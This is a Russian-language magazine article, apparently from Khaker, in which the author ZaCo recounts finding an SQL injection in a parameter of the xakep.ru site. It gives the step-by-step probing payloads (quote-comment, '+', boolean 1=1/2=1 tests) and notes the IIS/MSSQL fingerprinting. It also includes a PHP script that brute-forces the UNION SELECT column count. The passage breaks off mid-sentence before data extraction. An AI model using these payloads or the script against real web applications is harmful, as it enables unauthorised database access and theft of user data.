Как нас поимели ZaCo (zaco@yandex.ru) Хакер, номер #088, стр. 088-056-2 Когда я убрал все кавычки, передо мной предстала страница с мылом, введенным при регистрации, и сообщение, которое предстояло редактировать. Адрес в строке браузера при этом выглядел вот так: www.xakep.ru/code/common/rateit/opinion_new.asp?code_opinion=ORT116046&code_rate=RRT175481&backto=http://www.xakep.ru/post/30242/default.asp Совершенно ясно, что параметр code_opinion содержит идентификатор сообщения. Очевидно, что передается строка, поэтому сначала я подставил ORT116046'--. Запрос, как и следовало ожидать, выполнился без ошибок. Продолжая изыскания, я решил подставить ORT116046'%2b' , где %2b - 16-ричное представление знака «+». Теперь можно сказать, что на 80% этот параметр подвержен sql-injection атаке. Теперь подставим такую строчку: ORT116046'and(1=1). В этот раз все прошло без запинки. При подстановке в code_opinion ORT116046'and(2=1) я увидел лишь надпись «Мнения не найдено». Отлично! Параметр 100% не фильтруется. Но возможно ли провернуть через это полноценную атаку? [сбор данных] Если вовремя определить sql-сервер, то это сэкономит очень много драгоценного времени, поэтому займемся именно этим. По расширению asp можно догадаться, что сервер крутится под виндой. Хотя это все может быть и подставой, но в http-ответе можно наблюдать такую строчку: Server=Microsoft-IIS/6.0, что подтверждало мои догадки. Было так же совершенно ясно, что на этом виндовом проекте в качестве сервера БД используется MSSQL (я понял это во время экспериментов с запросами: выполнялся оператор TOP, который присутствует только в MSSQL). Сейчас было самое время получить список интересующих меня имен таблиц и соответствующих им имен столбцов. Хорошо, что мы имеем дело с MSSQL - достать все интересующее сведения не составит труда, нужно лишь провести красивый UNION SELECT. Перебирать количество столбцов копи/пастом мне было лень, поэтому я написал маленький скрипт на php: <?php for($i=0;$i<30;$i++) { $s='GET http://www.xakep.ru/code/common/rateit/opinion_new.asp?code_opinion=ORT116046\'%20UNION%20SELECT%20'.'null'.str_repeat(',null',$i).'-- HTTP/1.0'; $f=fsockopen('xakep.ru', 80);//хост, 80 - порт fwrite($f,$s."\r\n\r\n"); $get=fgets($f,12); if(substr($get,9,3)!='500'){echo($s);break;} fclose($f);//закрываем } ?> Объясню вкратце: скрипт делает перебор null'ов до тех пор, пока запрос не выполнится без ошибки, то есть мы не увидим надписи «Внутреняя ошибка сервера». Удивило меня то, что ждать долго не пришлось: столбцов в первоначальном SELECT'е было всего восемь. Дело осталось за малым. Написав в строке браузера |